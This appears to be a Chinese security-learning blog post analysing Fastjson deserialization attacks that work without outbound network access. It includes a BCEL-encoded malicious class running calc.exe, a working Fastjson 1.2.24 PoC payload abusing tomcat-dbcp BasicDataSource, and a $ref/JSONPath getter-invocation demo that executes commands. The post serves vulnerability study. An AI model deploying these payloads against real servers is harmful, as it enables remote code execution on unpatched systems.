热门标签 | HotTags
当前位置:  开发笔记 > 前端 > 正文

fastjson不出网学习

前言fastjson公开的就三条链,前两天我们上篇文章已经分析。TemplatesImpl要求太苛刻了,JNDI的话需要服务器出网才行。今天学习的这条链就是可以应对不出网的情况。B

前言

fastjson公开的就三条链,前两天我们上篇文章已经分析。TemplatesImpl要求太苛刻了,JNDI的话需要服务器出网才行。今天学习的这条链就是可以应对不出网的情况。


BCEL

什么是BCEL

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel摘自P牛BCEL ClassLoader去哪里了


BCEL的简单使用

BCEL这个包中有个类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。 在ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。

我们可以编写一个恶意的类

public class Evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}

然后使用过BCEL提供的两个类 RepositoryUtility 来利用: Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码:

public class BCEL_T {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
System.out.println(encode);
Class.forName("$$BCEL$$" + encode, true, new ClassLoader());
// new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
}
}

image-20220220212007914

讲完BCEL我们大概知道了如何使用,这下看看在fastjson里面的使用吧


BCEL在Fastjson漏洞中的利用

测试环境


jdk8u31

dbcp 9.0.53

fastjson 1.2.24 [1.2.24之后修复了]


这里先贴一下poc[注意看注释]

{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
//这里是tomcat>8的poc,如果小于8的话用到的类是
//org.apache.tomcat.dbcp.dbcp.BasicDataSource
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "bbb"
}

这个poc最开始有点看不懂,这里贴一个其他师傅发的利用链,我们来分析下

BasicDataSource.getConnection() -> createDataSource() -> createConnectionFactory()

image-20220220222829690

不管if是不是true都会进行this.createDataSource().getConnection();这个操作,跟踪下

image-20220220223038166

然后继续跟进下到createDriver

image-20220220223056580

到这里就执行了我们的恶意代码

image-20220220223549881

可以看到这里是Class.forName将类加载进来,并且设置了initialize参数为true【其实就是告诉Java虚拟机是否执⾏”类初始化而staic就是在类初始化加载的】而Class.forName方法实际上也是调用的 CLassLoader 来实现的。所以1和3都是可控的

image-20220220224337775

但现在就有点问题了,我焯。他是怎么调用getConnection的并且返回值是Connection是不满足geter的

image-20220220224613552

我们回头去查看这个POC形式

首先在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为bbb

将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:

image-20220221120558658

而且JSONObject是Map的子类,当调用toString的时候,会依次调用该类的getter方法获取值。然后会以字符串的形式输出出来。所以会调用到getConnection方法

具体调试可以看fastjson反序列化之basicdatasource利用链


$ref

因为调用geter是有限制的,对于不满足getter的方法的时候我们该怎么解决呢?

当fastjson>=1.2.36的时候,可以使用$ref方式调用getter


什么是ref

ref是fastjson特有的JSONPath语法,用来引用之前出现的对象


什么又是JsonPath

详细可以参考:https://goessner.net/articles/JsonPath/ 这里简单举个例子

Test.java

public class test {
private String cmd;
public void setCmd(String cmd) {
System.out.println("seter call");
this.cmd = cmd;
}
public String getCmd() throws IOException {
System.out.println("geter call");
Runtime.getRuntime().exec(cmd);
return cmd;
}
}

触发代码

public class ref_fastjson {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.demo.fastjson.test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
JSON.parse(payload);
}
}

image-20220221131128719

可以看到geter被调用了但是他是不满足我们geter调用要求的

我们来解释一下这个demo

[{"@type":"com.demo.fastjson.test","cmd":"calc"},{"$ref":"$[0].cmd"}]

这其实不就是一个数组吗,fastjson解析到$ref会判断为是一个引用,$[0]表示的是数组里的第一个元素,则$[0].cmd表示的是获取第一个元素的cmd属性的值。

这里调试一下,看下调用栈

image-20220221132333784

74行就是进行了一些ref的处理没啥 然后一些赋值增加了一个resolveTask,进入75行

image-20220221133534311

image-20220221133828470

进入eval根据path生成并返回一个JavaPath对象

image-20220221133933313

然后继续进入eval

image-20220221134017802

注意有一个init()

image-20220221134154279

因为不满足所以直接else,注意看explain()函数,这个函数的作用是把$ref的value解析成segment,Segment是定义在JSONPath类的一个interface,然后explain()会把一个完整的JSONPath拆分成小的处理逻辑,这里就不截图了 太多了。具体详细流程看y4师傅学习。

最终JSONPath.eval 最终会调用到getPropertyValue 函数,会尝试调用fieldInfo的get函数或者用反射的方式调用getter

image-20220221135022356

image-20220221135034375

至此流程我们大概就清楚了,那为什么1.2.36之前不行?

这里拿一个1.2.35对比一下差异主要在DefaultJSONParser#handleResovleTask

要求refValue不为null,且必须时JSONObject类

image-20220221140820757


参考

https://paper.seebug.org/1613/
https://jlkl.github.io/2021/12/18/Java_07/
https://mp.weixin.qq.com/s/dvqvaiJG28TZAyMEyIC6Lg
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
https://blog.csdn.net/solitudi/article/details/120275526

FastJson反序列化之BasicDataSource利用链



推荐阅读
  • Docker入门指南:初探容器化技术
    Docker入门指南:初探容器化技术摘要:Docker 是一个使用 Go 语言开发的开源容器平台,旨在实现应用程序的构建、分发和运行的标准化。通过将应用及其依赖打包成轻量级的容器,Docker 能够确保应用在任何环境中都能一致地运行,从而提高开发和部署的效率。本文将详细介绍 Docker 的基本概念、核心功能以及如何快速上手使用这一强大的容器化工具。 ... [详细]
  • TCP三次握手过程详解与图示解析
    本文详细解析了TCP三次握手的过程,并通过图示清晰展示了各个状态的变化。同时,文章还介绍了四次挥手的图解,解释了在TIME_WAIT状态中,客户端最后一次发送的ACK包的作用和重要性。 ... [详细]
  • 本文详细介绍了如何安全地手动卸载Exchange Server 2003,以确保系统的稳定性和数据的完整性。根据微软官方支持文档(https://support.microsoft.com/kb833396/zh-cn),在进行卸载操作前,需要特别注意备份重要数据,并遵循一系列严格的步骤,以避免对现有网络环境造成不利影响。此外,文章还提供了详细的故障排除指南,帮助管理员在遇到问题时能够迅速解决,确保整个卸载过程顺利进行。 ... [详细]
  • Redis 主从复制机制详解及其工作原理
    主从复制机制在 Redis 中具有重要作用,能够实现读写分离、提升系统性能并提供快速的灾难恢复能力。具体实现方面,以一主两从的架构为例,需要创建三个独立的配置文件(.conf),分别用于主节点和两个从节点的设置。通过这种方式,可以从主节点同步数据到从节点,确保数据的一致性和高可用性。此外,还可以利用从节点进行读操作,减轻主节点的压力,进一步提高系统的整体性能。 ... [详细]
  • SQL Server 2005 在安装过程中通常会伴随 VS2005 一起安装,并且为了便于数据库管理,还会安装 Management Studio Express 管理工具。然而,在实际使用中,用户可能会遇到登录故障。本文综合分析了这些登录问题的常见原因,并提供了多种有效的解决方法,包括检查配置设置、验证账户权限和网络连接等。通过这些措施,用户可以有效地诊断并解决 SQL Server 2005 的登录问题。 ... [详细]
  • 基于Java和SSM框架的志愿者管理平台源代码分析与实现
    本研究针对基于Java和SSM框架的志愿者管理平台进行了详细的源代码分析与实现。该平台属于Java Web项目,采用Java EE技术栈,并结合了Spring、Spring MVC和MyBatis三大核心框架(非开源)。项目名称为“基于SSM的志愿者管理系统”,旨在提升志愿者管理的效率和规范性。通过对系统架构、模块设计及关键代码的深入解析,本文为开发者提供了全面的技术参考和实践指导。 ... [详细]
  • 隐藏的威胁:你的供应链是否真正安全?
    在网络环境日益复杂的当下,诸如网络钓鱼、DNS欺骗、勒索软件和中间人(MITM)攻击等威胁手段已司空见惯。这些攻击手段无孔不入,对供应链的安全构成了严重挑战。企业必须加强安全意识,采取多层次的防护措施,以确保供应链的每一个环节都得到有效保护。 ... [详细]
  • 解决lib-flexible安装过程中遇到的错误问题
    在安装 lib-flexible 时,遇到了 `saveError ENOENT: No such file or directory` 错误,具体表现为无法打开 `E:\Github\SDIO\package.json` 文件。解决此问题的关键在于确保项目根目录下存在 `package.json` 文件,并且在正确的项目路径中执行安装命令。建议先检查项目结构,确认文件是否存在,然后再尝试重新安装依赖。 ... [详细]
  • 在腾讯云服务器上部署Nginx的详细指南中,首先需要确保安装必要的依赖包。如果这些依赖包已安装,可直接跳过此步骤。具体命令包括 `yum -y install gcc gcc-c++ wget net-tools pcre-devel zlib-devel`。接下来,本文将详细介绍如何下载、编译和配置Nginx,以确保其在腾讯云服务器上顺利运行。此外,还将提供一些优化建议,帮助用户提升Nginx的性能和安全性。 ... [详细]
  • 当前物联网领域十大核心技术解析:涵盖哪些关键技术?
    经过近十年的技术革新,物联网已悄然渗透到日常生活中,对社会产生了深远影响。本文将详细解析当前物联网领域的十大核心关键技术,包括但不限于:1. 军事物联网技术,该技术通过先进的感知设备实现战场环境的实时监测与数据传输,提升作战效能和决策效率。其他关键技术还包括传感器网络、边缘计算、大数据分析等,这些技术共同推动了物联网的快速发展和广泛应用。 ... [详细]
  • 润乾报表JNDI配置异常分析与解决方法
    在使用润乾报表时,通过JNDI连接数据源是常见的配置方式。本文详细分析了JNDI配置异常的原因,并提供了具体的解决方法。重点讨论了JNDI名称在三个关键位置的配置:1. Tomcat或应用服务器的数据源配置(以Tomcat为例);2. 润乾报表中的数据源配置;3. 应用程序代码中的JNDI名称引用。通过这些步骤,可以有效解决JNDI配置异常问题,确保报表系统的稳定运行。 ... [详细]
  • 在IIS上运行的WebApi应用程序在开发环境中能够正常进行文件的读写操作。然而,在尝试通过FTP访问实时服务器上的文件列表时,遇到了无法显示的问题,尽管服务器配置与开发环境相同。这可能涉及权限设置、FTP服务配置或网络连接等方面的问题。 ... [详细]
  • Syncnavigator激活工具及破解方法详解
    本文详细介绍了Syncnavigator激活工具的使用方法及其破解技巧。用户可以通过访问官方网站www.SyncNavigator.CN获取相关资源,并通过客服QQ 1793040获得技术支持和帮助。此外,文章还提供了详细的步骤说明和常见问题解答,以确保用户能够顺利激活并使用Syncnavigator软件。 ... [详细]
  • 《我的世界》Java版与Windows 10版(基岩版)有何不同?
    《我的世界》Java版与Windows 10版(基岩版)有何不同? ... [详细]
  • 在SQL Server 2008数据库迁移过程中,备份方法是一种高效且可靠的导出手段。本文详细介绍了如何利用备份功能实现数据的快速迁移,并提供了具体的步骤和注意事项,适合Golang程序员和数据库管理员参考。 ... [详细]
author-avatar
000000
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有